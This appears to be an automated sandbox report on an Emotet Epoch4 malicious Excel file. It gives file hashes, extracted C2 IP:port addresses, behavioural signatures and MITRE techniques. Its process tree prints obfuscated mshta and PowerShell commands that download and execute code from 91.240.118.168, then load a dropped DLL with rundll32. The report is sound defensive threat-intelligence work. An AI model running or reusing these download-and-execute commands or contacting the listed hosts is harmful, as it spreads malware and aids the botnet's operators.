emotet | 48d2b8e9f891fe7810718c9c7a877e7fc8999fa7003b61b47e0319315a9bde06

General

Target

2022-1-28-2c3f20f85f0deb5c757099154b411f05.xls
Size

46KB
MD5

2c3f20f85f0deb5c757099154b411f05
SHA1

6cc82d236555536f649f70a0a20e8a0330cd7bc8
SHA256

48d2b8e9f891fe7810718c9c7a877e7fc8999fa7003b61b47e0319315a9bde06
SHA512

b8538c87b9bec2386e2c3c2aac336d7207694c7d5c6832cce3ed32dd09e242f3a59bb7547547c2822d7cc60abefb2eff81550ae04cf24d0167f34957863af748

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1716	2476	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

35 1228 mshta.exe
41 1544 powershell.exe
43 1544 powershell.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3168 rundll32.exe
1712 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Yzsqztamsqkyk\yusdedp.nut rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4088 1228 WerFault.exe mshta.exe

flow	pid	process
35	1228	mshta.exe
41	1544	powershell.exe
43	1544	powershell.exe

pid	process
3168	rundll32.exe
1712	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Yzsqztamsqkyk\yusdedp.nut	rundll32.exe

pid	pid_target	process	target process
4088	1228	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2476 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
1544	powershell.exe
1544	powershell.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
1544	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1544 powershell.exe
Token: SeDebugPrivilege 4088 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	4088	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exe

description	pid	process	target process
PID 2476 wrote to memory of 1716	2476	EXCEL.EXE	CMD.EXE
PID 2476 wrote to memory of 1716	2476	EXCEL.EXE	CMD.EXE
PID 1716 wrote to memory of 1228	1716	CMD.EXE	mshta.exe
PID 1716 wrote to memory of 1228	1716	CMD.EXE	mshta.exe
PID 1228 wrote to memory of 1544	1228	mshta.exe	powershell.exe
PID 1228 wrote to memory of 1544	1228	mshta.exe	powershell.exe
PID 1544 wrote to memory of 2672	1544	powershell.exe	cmd.exe
PID 1544 wrote to memory of 2672	1544	powershell.exe	cmd.exe
PID 2672 wrote to memory of 3168	2672	cmd.exe	rundll32.exe
PID 2672 wrote to memory of 3168	2672	cmd.exe	rundll32.exe
PID 2672 wrote to memory of 3168	2672	cmd.exe	rundll32.exe
PID 3168 wrote to memory of 1712	3168	rundll32.exe	rundll32.exe
PID 3168 wrote to memory of 1712	3168	rundll32.exe	rundll32.exe
PID 3168 wrote to memory of 1712	3168	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-2c3f20f85f0deb5c757099154b411f05.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2476

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1716

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3168

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
PID:1712

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1228 -s 1628
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4088

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
680e278a0ce15adb1f86895622735c6e

SHA1
319d16f64ab5b9a15a9473b2437dcd81643bd2b8

SHA256
0e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1

SHA512
3e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352

Download Submit
\ProgramData\QWER.dll
MD5
680e278a0ce15adb1f86895622735c6e

SHA1
319d16f64ab5b9a15a9473b2437dcd81643bd2b8

SHA256
0e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1

SHA512
3e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352

Download Submit
\ProgramData\QWER.dll
MD5
680e278a0ce15adb1f86895622735c6e

SHA1
319d16f64ab5b9a15a9473b2437dcd81643bd2b8

SHA256
0e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1

SHA512
3e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352

Download Submit
memory/1544-309-0x000001DFE10A0000-0x000001DFE1116000-memory.dmp

Filesize
472KB

Download
memory/1544-326-0x000001DFC8810000-0x000001DFE09E0000-memory.dmp

Filesize
385.8MB

Download
memory/1544-319-0x000001DFC8810000-0x000001DFE09E0000-memory.dmp

Filesize
385.8MB

Download
memory/1544-314-0x000001DFC8810000-0x000001DFE09E0000-memory.dmp

Filesize
385.8MB

Download
memory/1544-279-0x000001DFE09E0000-0x000001DFE0A02000-memory.dmp

Filesize
136KB

Download
memory/1544-298-0x000001DFE0B90000-0x000001DFE0BCC000-memory.dmp

Filesize
240KB

Download
memory/1712-330-0x00000000042D0000-0x00000000042F5000-memory.dmp

Filesize
148KB

Download
memory/1712-332-0x00000000044C0000-0x00000000044E5000-memory.dmp

Filesize
148KB

Download
memory/1712-341-0x0000000004C00000-0x0000000004C25000-memory.dmp

Filesize
148KB

Download
memory/1712-339-0x0000000004BA0000-0x0000000004BC5000-memory.dmp

Filesize
148KB

Download
memory/1712-337-0x0000000004B40000-0x0000000004B65000-memory.dmp

Filesize
148KB

Download
memory/1712-335-0x00000000049D0000-0x00000000049F5000-memory.dmp

Filesize
148KB

Download
memory/2476-118-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2476-116-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2476-115-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2476-117-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2476-129-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

Filesize
64KB

Download
memory/2476-119-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Filesize
64KB

Download
memory/2476-128-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

Filesize
64KB

Download
memory/3168-328-0x0000000003510000-0x0000000003535000-memory.dmp

Filesize
148KB

Download
memory/3168-327-0x0000000003511000-0x0000000003532000-memory.dmp

Filesize
132KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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